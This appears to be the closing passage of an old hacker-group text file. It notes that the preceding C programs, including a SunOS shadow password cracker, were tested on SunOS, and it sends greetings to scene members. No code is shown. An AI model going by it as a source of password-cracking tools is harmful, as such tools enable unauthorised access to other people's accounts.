The above programs will not compile under non-ansi C compilers without quite a bit of modification. I have tested all these programs on SUNOS both shadowed & unshadowed, though they should work on other systems with little modification (except the shadow password cracker, which is SUNOS shadow system specific).

Regards to the following guys :-

Archbishop & The Lost Avenger/UPi, RamRaider/QTX,
the guys at United International Perverts(yo Dirty Mac & Jasper!)
and all I know.

****